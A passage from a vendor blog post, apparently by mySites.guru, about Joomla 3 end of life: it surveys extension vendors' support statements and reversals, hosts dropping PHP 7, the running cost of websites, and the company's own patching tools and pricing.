2025&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Seblod&lt;/td&gt;&lt;td&gt;SEBLOD 3 and 4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.seblod.com/community/blog/seblod-4-0-series-4-4&quot;&gt;Want to stay on Joomla 3? Remain on SEBLOD 3&lt;/a&gt;&lt;/td&gt;&lt;td&gt;5 May 2023&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fabrik&lt;/td&gt;&lt;td&gt;Fabrik 3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://fabrikar.com/forums/index.php?threads/f3-users-security-update.55752/&quot;&gt;“None of this work will be backported to the F3 codebase”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;11 Aug 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Extly&lt;/td&gt;&lt;td&gt;Perfect Publisher, XT&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.extly.com/blog/22-latest-news/796-new-releases-ready-for-joomla-5.html&quot;&gt;“Extending our support for Joomla 3 until at least the end of 2024”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;26 Oct 2023&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Balbooa&lt;/td&gt;&lt;td&gt;Balbooa Forms&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.balbooa.com/help/forums/forms/general/balbooa-forms-and-joomla-3-x-2&quot;&gt;“All future versions of Forms wouldn’t be compatible with Joomla 3.x”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;21 Apr 2025&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Balbooa&lt;/td&gt;&lt;td&gt;Balbooa Forms&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.balbooa.com/help/forums/forms/general/joomla-3-compatibility-patch-for-balbooa-forms-community-contribution&quot;&gt;“Upgrading Joomla remains the only meaningful long-term security solution”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;14 Jul 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Digital Peak&lt;/td&gt;&lt;td&gt;DPCalendar&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://joomla.digital-peak.com/blog/dpcalendar-got-an-architecture-update&quot;&gt;DPCalendar 8.x in “hybrid maintenance mode” for Joomla 3 users&lt;/a&gt;&lt;/td&gt;&lt;td&gt;21 May 2024&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JEvents&lt;/td&gt;&lt;td&gt;JEvents&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.jevents.net/download-area/jevents&quot;&gt;“3.6.82 was the last planned release that will support Joomla 3.10.x”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;undated&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;iCagenda&lt;/td&gt;&lt;td&gt;iCagenda&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.icagenda.com/docs/roadmap&quot;&gt;The 3.9 series “is the last one to support Joomla 3”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;undated&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Tassos&lt;/td&gt;&lt;td&gt;Convert Forms, Engage&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.tassos.gr/joomla-extensions/convert-forms&quot;&gt;Joomla 3 users sent to a “legacy release built for Joomla 3.x”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;undated&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Solidres&lt;/td&gt;&lt;td&gt;Solidres 2.13.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.solidres.com/blog/2022/12/01/solidres-for-joomla-2-13-0-released/&quot;&gt;“We also dropped support for Joomla 3 to focus only on Joomla 4”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;1 Dec 2022&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sigsiu&lt;/td&gt;&lt;td&gt;SobiPro&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.sigsiu.net/news/3158-sobipro-2520&quot;&gt;“The SobiPro 2.5 series will be the last series made for with Joomla 3”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;3 May 2024&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JoomDonation&lt;/td&gt;&lt;td&gt;OS Property&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/os-property-joomla-real-estate.html&quot;&gt;“Discontinued Joomla 3 Support: Joomla 3 has reached its official end-of-life”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;undated&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mosets&lt;/td&gt;&lt;td&gt;Mosets Tree 4.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mosets.com/news/mt-40&quot;&gt;“Mosets Tree 4.0 requires Joomla 4 to run”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;18 Aug 2021&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;VirtueMart&lt;/td&gt;&lt;td&gt;VirtueMart 4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://virtuemart.net/download&quot;&gt;Still shipping for Joomla 3: “compatible with Joomla! 3.10.x”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;undated&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Thirty-one statements, and no two of them agree on anything. Some are two years before Joomla 3 reached end of life, some are three years after. Six of the thirty-one give no date at all, which means a customer reading the page cannot tell whether it was written last month or in 2021.&lt;/p&gt;
&lt;p&gt;Exactly one of them names a future date and explains the policy behind it. J2Commerce announced J2Store 3’s end of life fourteen months before the version it retires stopped being the one most of their users run, set the same runway for the next version, and said which Joomla releases each line tracks. That is the shape the other thirty are missing, and it took a vendor who had spent two years patching a branch no one was obliged to patch to produce it.&lt;/p&gt;
&lt;h3&gt;Where the actions contradict the words&lt;/h3&gt;
&lt;p&gt;The JoomShaper, JCE and Akeeba reversals are above. They are not the only ones, and the pattern is consistent enough to be worth naming: the loudest announcement is the least reliable predictor of what the vendor will actually do next.&lt;/p&gt;
&lt;p&gt;Seblod’s only public words on Joomla 3 remain that May 2023 post, yet &lt;a href=&quot;https://github.com/Octopoos/SEBLOD/releases/tag/3.30.0&quot;&gt;SEBLOD 3.30.0 shipped on 28 July 2026&lt;/a&gt; fixing an SQL injection, a search-radius SQL injection and a path traversal, three years past end of life.&lt;/p&gt;
&lt;p&gt;Web357 went the other way entirely and &lt;em&gt;added&lt;/em&gt; Joomla 3 compatibility in June 2026, &lt;a href=&quot;https://www.web357.com/cookies-policy-notification-bar-joomla-plugin/changelog&quot;&gt;nearly three years after EOL&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;iCagenda contradicts itself in the customer’s favour. The roadmap says 3.9 was the last series to support Joomla 3, while &lt;a href=&quot;https://www.icagenda.com/docs/changelog&quot;&gt;the changelog&lt;/a&gt; lists 3.9.15 in June 2026 and 3.9.16 in August 2026, both labelled “Security Release Joomla 3”.&lt;/p&gt;
&lt;p&gt;Balbooa reversed under pressure from its own users, moving from “no future version will be compatible” in April 2025 to publishing and hosting a Joomla 3 compatibility patch in July 2026, credited to a community member.&lt;/p&gt;
&lt;p&gt;YOOtheme said nothing at all for twenty-nine months while shipping Joomla 3 fixes in 4.3.7, 4.4.11, 4.4.12 and 4.5.3, and still contradicts itself: &lt;a href=&quot;https://yootheme.com/zoo/docs/installation&quot;&gt;ZOO, the same company, currently advertises “Requirements: Joomla 3.x+”&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And OS Property announces “Discontinued Joomla 3 Support” on a page whose own specification box, directly above the announcement, reads “Compatible: Joomla 3.9.0+”.&lt;/p&gt;
&lt;h3&gt;The ones that said nothing at all&lt;/h3&gt;
&lt;p&gt;This list matters as much as the table, because a vendor with no statement is the common case rather than the exception. We checked and found nothing public from HikaShop, RSJoomla, StackIdeas, iJoomla, JomSocial, EShop, Phoca, JoomUnited, Falang, OSTraining, JoomlArt, Gavick, Ordasoft, ARI Soft and TemplateMonster. Several of them are still shipping Joomla 3 builds. None of them will tell you when that stops.&lt;/p&gt;
&lt;p&gt;Three did not stop so much as vanish. MijoShop’s domain now serves a Thai football and casino blog, and the Wayback Machine shows it had already become that by November 2023, three months after Joomla 3 went end of life. VinaGecko’s domain redirects to a betting site. Xmap’s repository was archived with its last commit in September 2020.&lt;/p&gt;
&lt;p&gt;That is the real answer to “is this extension still supported”. For fifteen of the vendors on the sites we monitor, there is no answer to look up, and for three of them the company that would have answered no longer exists.&lt;/p&gt;
&lt;h2&gt;Your host is about to decide just how long you have left for Joomla 3, and it is out of your hands&lt;/h2&gt;
&lt;p&gt;Here is the part that turns a deferred decision into an emergency, and it has nothing to do with Joomla.&lt;/p&gt;
&lt;p&gt;Joomla 3 needs an old PHP branch. Hosting providers are removing those branches, on their schedule, and they are not asking. When your host drops PHP 7, a Joomla 3 site that has not been made PHP 8 compatible does not degrade gracefully. It stops.&lt;/p&gt;
&lt;p&gt;Worse, on some hosts the change is a one-way door. Fasthosts is the example I keep running into: a customer switches a site to PHP 8 to see whether it works, discovers it does not, and then finds there is no route back to PHP 7. The test &lt;em&gt;is&lt;/em&gt; the migration, and it is irreversible. So the sensible, cautious thing an administrator does, which is to try it and see, is the exact action that takes the site down with no undo.&lt;/p&gt;
&lt;p&gt;That reframes everything above. Your real choice is between migrating on a date you pick, with a staging site and a rollback plan and a budget conversation you had in advance, and migrating on the date your hosting provider picks, at whatever hour they picked it, with the client on the phone. Migrating later was never one of the options.&lt;/p&gt;
&lt;p&gt;And I want to be careful about who the villain is here, because it is not the host.&lt;/p&gt;
&lt;p&gt;A host that removes PHP 7 is doing its job. PHP 7 left security support years ago. A host still serving it in 2026 is running an unpatched language runtime underneath every customer on that box, including the ones who did everything right and are simply sharing a server with you. That is not a favour to anybody.&lt;/p&gt;
&lt;p&gt;So if your host is not forcing PHP upgrades, do not read that as generosity. It is neglect, and it is a reason to leave rather than a reason to stay. A webhost still handing out PHP 5 or PHP 7 in 2026 is telling you exactly how much attention the rest of that platform gets. The hosts causing you grief in this story are the good ones.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;PHP version each site runs&lt;/a&gt; is not a technical detail buried in a control panel. Across a portfolio of Joomla 3 sites it is a countdown timer that somebody else is holding, and you want it held by somebody who winds it.&lt;/p&gt;
&lt;h2&gt;Why the sites are still there, honestly&lt;/h2&gt;
&lt;p&gt;It is worth saying that this is rarely neglect, because the standard telling of this story insults the people living it.&lt;/p&gt;
&lt;p&gt;A Joomla 3 to Joomla 5 or 6 move is closer to a rebuild than a version bump. The template usually has no direct successor. Two or three extensions the site depends on were abandoned years ago and the functionality has to be rebuilt or replaced. No one can quote it accurately upfront, which is &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;why we will not quote a fixed fee for one&lt;/a&gt; either.&lt;/p&gt;
&lt;p&gt;So it becomes a cost conversation the client has to agree to. And every agency owner reading this already knows how that goes, because from where the client is sitting, the site works. It loads. The contact form arrives. The phone rings. You are asking for four or five figures to deliver something that, on the day it completes, looks exactly the same as it did the day before.&lt;/p&gt;
&lt;p&gt;That is a hard sell. I am not going to pretend otherwise.&lt;/p&gt;
&lt;p&gt;But notice what has actually gone wrong, because it did not go wrong in that conversation. It went wrong years earlier.&lt;/p&gt;
&lt;h2&gt;The Real Reason Agencies Avoid Joomla Updates&lt;/h2&gt;
&lt;p&gt;We posted the numbers above to social media, and a comment underneath it is worth answering properly rather than in a reply box, because it names the reason most agencies actually give for staying on an old version.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Juan Pablo Combeau M., on Facebook&lt;/p&gt;&lt;div&gt;&lt;p&gt;“I agree with everything, I would only add that Joomla updates have a reputation for causing many incompatibilities (well-deserved, in my opinion), and that’s why users tend to avoid them.”&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That is a fair description of what agencies experience, and not a rare one either, I hear a version of it constantly. But the word doing the damage is “updates”. The incompatibilities are real. The cause is usually not the update itself.&lt;/p&gt;
&lt;p&gt;Joomla is not good at communicating breaking changes in enough detail, and it does not reliably honour its own deprecation notices: the core team has pushed deprecation deadlines back after the fact more than once, and the backward-compatibility guarantees fall well short of what a project like Symfony offers over a comparable timeframe. Extension developers are, on the whole, not much better at tracking the breaking changes that do get published. Plenty of them find out by reading the core source rather than a changelog, and some of the consequences they hit were never fully thought through or tested by the Joomla project in the first place.&lt;/p&gt;
&lt;p&gt;So the incompatibility is real, but “the update broke it” undersells what happened. A change shipped with too little warning, on a promise that did not hold, and the extension author had no reliable way to see it coming even while looking for it. That is less a reason to distrust updating and more a reason to distrust how the ecosystem tells you what is about to change: read the actual diffs before a major version, do not trust a changelog to be complete, and budget time for the surprises rather than assume there will not be any.&lt;/p&gt;
&lt;h2&gt;Software is a child, not a purchase&lt;/h2&gt;
&lt;p&gt;Most of those 30,305 sites were sold as a project. A price, a launch date, a handover, an invoice. Maybe a support period measured in weeks. And then nothing, until the day something breaks or a version goes end of life and somebody has to ring the client and ask for money to fix a problem the client did not know they had.&lt;/p&gt;
&lt;p&gt;Of course they say no. From their side you sold them a finished thing and now you are asking them to pay for it again.&lt;/p&gt;
&lt;p&gt;The framing is wrong, and it has been wrong across our whole industry for twenty years. A website is a purchase that never completes, always a work in progress. It is much closer to having a child.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A website is a purchase that never completes. Always a work in progress.&lt;/p&gt;&lt;div&gt;&lt;p&gt;It is much closer to having a child. Enormous investment at the start, a steady cost that never stops, predictable spikes at known milestones, and the occasional emergency that has to be paid immediately.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The investment at the start is enormous and everybody expects it. Then there is a long steady cost that never stops: feeding it, clothing it, keeping it warm. There are predictable spikes at known milestones, when it starts school, when it goes to university, when it needs help with a first house. And there are the emergencies, the ones that arrive without warning and have to be paid immediately, because the alternative is unthinkable.&lt;/p&gt;
&lt;p&gt;No one has a child and considers the job finished at the birth. No one budgets for a single payment and is then outraged when the child needs shoes at seven and a laptop at fourteen. And crucially, the investment does not stop when they leave home. It changes shape and it usually gets less frequent, but a parent who says “I paid for the pram, we are done” is describing an abandonment, not a completed project.&lt;/p&gt;
&lt;p&gt;That is what a Joomla 3 site is. It is a fourteen-year-old that no one has bought shoes for since it was three.&lt;/p&gt;
&lt;p&gt;The client who “would not invest” was, in most cases, never actually asked to. They were sold a pram.&lt;/p&gt;
&lt;h2&gt;Why we have never sold a lifetime licence&lt;/h2&gt;
&lt;p&gt;I should declare an interest here, because this argument is the reason mySites.guru is priced the way it is, and I would rather say that out loud than let you find it in the pricing page and wonder.&lt;/p&gt;
&lt;p&gt;We have never offered a lifetime deal. Not once in fourteen years of trading, and we get asked for one regularly.&lt;/p&gt;
&lt;p&gt;A lifetime licence is a promise to maintain something forever, in exchange for a single payment, made once, at the moment the customer’s enthusiasm peaks and your costs have not started yet. It is the model I have spent this whole post arguing against. It is the pram, sold as the childhood. Every lifetime deal in this industry either ends with the vendor stopping the work, or with the vendor going out of business, and in both cases the customer discovers the meaning of the word lifetime rather late.&lt;/p&gt;
&lt;p&gt;We take a subscription because the work never stops. Somebody has to read the Joomla Security Centre the morning it publishes. Somebody has to write the detection rule, test it against real sites, and ship it. That is a daily cost, so it is funded by a daily-cost model.&lt;/p&gt;
&lt;p&gt;Here is the whole price list. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru&lt;/a&gt; is &lt;strong&gt;GBP 19.99 a month, or GBP 199.99 a year&lt;/strong&gt;, which is about 16.6% off, so paying annually is roughly two months free. That is for &lt;strong&gt;unlimited sites&lt;/strong&gt;. If you have one site, there is a &lt;strong&gt;GBP 5.00&lt;/strong&gt; single-site plan.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;Single site&lt;/div&gt;&lt;div&gt;&lt;span&gt;GBP 5.00&lt;/span&gt;&lt;span&gt;/month&lt;/span&gt;&lt;/div&gt;&lt;div&gt;One site, everything included.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Unlimited, monthly&lt;/div&gt;&lt;div&gt;&lt;span&gt;GBP 19.99&lt;/span&gt;&lt;span&gt;/month&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Unlimited sites. One site or thousands, same fee.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Unlimited, annual&lt;/div&gt;&lt;div&gt;&lt;span&gt;GBP 199.99&lt;/span&gt;&lt;span&gt;/year&lt;/span&gt;&lt;/div&gt;&lt;div&gt;About 16.6% off, roughly two months free.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;See the full pricing&lt;/a&gt;&lt;span&gt; Unchanged since the price was set in 2010.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Unlimited means unlimited. We have subscribers with one site and subscribers with thousands, and they pay the same flat fee. No one gets punished for growing.&lt;/p&gt;
&lt;p&gt;We set that price in 2010, while we were building towards launching in 2012. In the sixteen years since, there has been &lt;strong&gt;not one price increase&lt;/strong&gt;. Not a single one. Not an inflation adjustment, not a tier restructure, not a quiet grandfathering of old customers onto worse terms.&lt;/p&gt;
&lt;p&gt;That is over a period which included near-record inflation, and during which our own costs have roughly quadrupled. Recently the AI boom has pushed hardware prices up again, which we absorbed too.&lt;/p&gt;
&lt;p&gt;I am not claiming that is good business practice. It is arguably terrible business practice. But it is the same principle running in the other direction: if I am going to tell you that a website is a living thing with a running cost, I should be willing to absorb a running cost of my own rather than repricing every time it pinches.&lt;/p&gt;
&lt;p&gt;For context, I personally spend more on coffee in a month than a mySites.guru subscription costs. Our customers stay, on average, three to five years, which is roughly the interval between major CMS migrations. The two numbers match because that is what a retainer looks like when the thing being retained is alive.&lt;/p&gt;
&lt;p&gt;So when I say sell the running cost, I am not asking you to do something I have avoided doing myself.&lt;/p&gt;
&lt;h2&gt;What to say instead&lt;/h2&gt;
&lt;p&gt;In practice that means writing a different first proposal. No one ever fixed this with a better closing technique.&lt;/p&gt;
&lt;p&gt;Price the build and the running cost as one proposition, not a build with an optional extra bolted on at the end. A maintenance line that appears after the client has mentally signed off the project reads as an upsell, and it gets cut. A running cost that was in the first conversation reads as the cost of the thing.&lt;/p&gt;
&lt;p&gt;Say what the money buys in terms of the thing they own, not in terms of your tasks. “Core and extension updates applied and tested monthly” is a description of your afternoon. “Your site stays on a version that still receives security patches” is a description of their asset.&lt;/p&gt;
&lt;p&gt;And be specific about the milestone spikes, in advance. Every CMS has a major version transition every few years, and it will cost real money. A client told at the start that there is a significant project roughly every three or four years is a client who can plan for it. A client told about it for the first time when the version has already gone end of life is a client who feels ambushed, and reasonably so.&lt;/p&gt;
&lt;p&gt;If you want the argument in one line: you are selling the running cost of something alive, not insurance against something going wrong.&lt;/p&gt;
&lt;h2&gt;How mySites.guru helps support you, to support your Joomla 3 end of life sites&lt;/h2&gt;
&lt;p&gt;None of the above helps the sites you already have on the books, so here is what we actually do for them. It is a holding position rather than a fix, and I would rather say that than sell it as something it is not.&lt;/p&gt;
&lt;h3&gt;One-click Joomla 3.10.999 core patches&lt;/h3&gt;
&lt;p&gt;We apply the community core patches across your whole portfolio of Joomla sites, with no eLTS licence needed. &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;The one-click Joomla 3 patch tool&lt;/a&gt; replaces 65 core files and picked up four more CVEs over summer 2026, including an unrestricted SHTML upload and a com_contact access control flaw. Of the 13,341 Joomla 3 sites where we can currently read the core files, &lt;strong&gt;10,512 have unpatched ones we could fix&lt;/strong&gt;. That is 79% of the sites that could be safer today and are not, which is the single most fixable number in this entire post.&lt;/p&gt;
&lt;h3&gt;JoomShaper’s own Joomla 3 packages, deployed and revertible&lt;/h3&gt;
&lt;p&gt;We deploy them for Helix Ultimate, Helix3 and SP Page Builder, installed through Joomla’s native installer so the vendor’s own version gates run, which is &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/unpatched-joomshaper-holes/&quot;&gt;the check that finds them&lt;/a&gt;, with a revert if you need it. That matters more than it sounds, because JoomShaper reused the same version string across two different patch releases, so &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;no inventory tool can tell a patched site from an unpatched one&lt;/a&gt; by version number alone.&lt;/p&gt;
&lt;h3&gt;Every published core CVE, flagged per site&lt;/h3&gt;
&lt;p&gt;We flag each one against the site’s exact version, on the sites list and on the site itself, so an end-of-life core stops being an abstract worry and becomes a count you can show a client.&lt;/p&gt;
&lt;h3&gt;Every Joomla version tracked back to 1.5&lt;/h3&gt;
&lt;p&gt;That reach is &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;intended&lt;/a&gt;. We support old versions so you can see and move them, not so you can leave them sitting there.&lt;/p&gt;
&lt;p&gt;You can point &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/joomla-3-end-of-life/&quot;&gt;the Joomla 3 end of life check&lt;/a&gt; at your portfolio of Joomla sites and have the list in a few minutes.&lt;/p&gt;
&lt;h2&gt;The uncomfortable part&lt;/h2&gt;
&lt;p&gt;The data in this post came from our own customers’ sites. These are, by definition, agencies and site owners who care enough to connect their sites to a monitoring platform and pay for it every month. This is the diligent end of the market.&lt;/p&gt;
&lt;p&gt;And the diligent end of the market is running 30,305 end-of-life Joomla 3 sites, 20,671 of which are not even on the final release, with 22,195 known-vulnerable extensions between them.&lt;/p&gt;
&lt;p&gt;Now scale that up. Joomla runs on millions of sites. Almost none of them are connected to anything like this. No one inventories their extensions, no one tells their owner when a component goes critical, and no one counts them when a number like 4.90% gets published. Whatever the real figure is out there, it is not better than the one measured on sites that are actively being looked after. It cannot be.&lt;/p&gt;
&lt;p&gt;So, back to the question. You can bury your head in the sand, and plenty of people reading this will, because the alternative is a difficult conversation with a client who does not want to have it. That cost is real, and I am not going to wave it away.&lt;/p&gt;
&lt;p&gt;We even built you the switches.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/mysites-guru-hide-vulnerability-badges-preferences.hyjUmH7A_29vIzv.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-guru-hide-vulnerability-badges-preferences.hyjUmH7A_Z2ol9wr.webp 640w, https://mysites.guru/_astro/mysites-guru-hide-vulnerability-badges-preferences.hyjUmH7A_Z1KvoNN.webp 750w, https://mysites.guru/_astro/mysites-guru-hide-vulnerability-badges-preferences.hyjUmH7A_2dyLDm.webp 828w, https://mysites.guru/_astro/mysites-guru-hide-vulnerability-badges-preferences.hyjUmH7A_Z1U6all.webp 1080w, https://mysites.guru/_astro/mysites-guru-hide-vulnerability-badges-preferences.hyjUmH7A_tQUo7.webp 1280w, https://mysites.guru/_astro/mysites-guru-hide-vulnerability-badges-preferences.hyjUmH7A_29vIzv.webp 1600w&quot; alt=&quot;The mySites.guru account preferences screen showing four display toggles, all switched off. Disable End Of Life Version Warnings. Hide &amp;quot;5 core CVEs&amp;quot; badges in the sites list, with help text reading &amp;quot;Cosmetic only. Your sites are still checked against published core advisories, the has-core-vulnerabilities filter still finds them, and no alert emails change.&amp;quot; Hide &amp;quot;2 vulnerable&amp;quot; badges in the sites list, with help text reading &amp;quot;Cosmetic only. Extensions are still scanned, the has-vulnerable-plugins filter and the left-menu counter still work, and the new-vulnerability alerts are controlled separately above.&amp;quot; And Disable Check Important Items menu items. Each badge is rendered inside its own label as the real black and red pill it hides&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;405&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Those two badge toggles went in this week, and I mean them. If you already know a site is on Joomla 3, and the pills are just noise on a screen you look at forty times a day, turn them off. No one needs to be shouted at by their own dashboard.&lt;/p&gt;
&lt;p&gt;Read the help text underneath them, though, because we wrote it carefully. Cosmetic only. The sites are still checked against published advisories, the &lt;code&gt;has-core-vulnerabilities&lt;/code&gt; and &lt;code&gt;has-vulnerable-plugins&lt;/code&gt; filters still find them, the left-menu counter still counts, and the alert emails still go out. Hiding the badge changes what you see, not what is true.&lt;/p&gt;
&lt;p&gt;Which is the whole post in one settings page. You can turn off the warning. You cannot turn off the CVE.&lt;/p&gt;
&lt;p&gt;Just be clear about what you are choosing. You are not deferring a technical task. You are holding a liability on someone else’s behalf, for free, until it goes off. And on current numbers it goes off about five times more often than it needs to.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2023-08&lt;/strong&gt; Joomla 3 reaches end of life The final 3.10 release. From this point the Joomla project ships no free security patches for the 3.x core, regardless of severity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-02-17&lt;/strong&gt; The paid eLTS programme ends The Extended Long Term Security Support programme, which had patched Joomla 3 for a fee, stops. From here there is no official route to a patched Joomla 3 core at any price.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-09&lt;/strong&gt; JoomShaper ends Joomla 3 support One line does the damage: no security patches, regardless of severity, across SP Page Builder, Helix, EasyStore and the template range. A large slice of the Joomla 3 estate loses its vendor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; JoomShaper ships Joomla 3 patches anyway, six days later Free standalone security packages for Helix Ultimate, Helix3 and SP Page Builder. The stated policy lasted under a week, which tells you how bad the alternative looked.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-28&lt;/strong&gt; 30,305 live Joomla 3 sites, and Joomla 4 is worse From our own portfolio of Joomla sites: Joomla 3 sites are hacked at five times the Joomla 6 rate, and the Joomla 4 sites that agencies migrated to now have the worst vulnerable-extension rate on the estate.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/j2store-3-end-of-life/&quot;&gt;J2Store 3 stops getting security fixes on 19 October 2026&lt;/a&gt; - the first vendor on this page to name a future date and explain the policy behind it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;The Joomla 3.10.999 Project&lt;/a&gt; - the community backport of core security patches for an end-of-life Joomla 3.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Fix Joomla 3 security issues in one click&lt;/a&gt; - what the patch tool actually replaces, and the four CVEs added over summer 2026.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomshaper-drops-joomla-3-support/&quot;&gt;JoomShaper ends Joomla 3 security fixes&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;the reversal six days later&lt;/a&gt; - the whole arc, with dates.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;Helix Ultimate&apos;s third Joomla 3 patch&lt;/a&gt; - and why the reused version string means no inventory tool can tell patched from unpatched.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;Patch the abandoned JoomShaper Joomla 3 extensions&lt;/a&gt; - the vendor&apos;s own packages, deployed across a portfolio and revertible.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;Migrating to modern Joomla when using mySites.guru&lt;/a&gt; - the connector side of the move, and why we will not quote a fixed fee for it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;How to prevent accidental Joomla version jumps&lt;/a&gt; - how chasing security patches on an EOL version can fling a site onto the next major release.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;Site management is more than just updates&lt;/a&gt; - what an ongoing retainer should actually cover.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/joomla-3-end-of-life/&quot;&gt;Joomla 3 Is End Of Life&lt;/a&gt; - the check that finds them across your portfolio of Joomla sites.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;The Joomla 3 vendor tracker&lt;/a&gt; - what each vendor has said and shipped for Joomla 3, in date order with sources, updated when a vendor changes position.&lt;/li&gt;
&lt;/ul&gt;
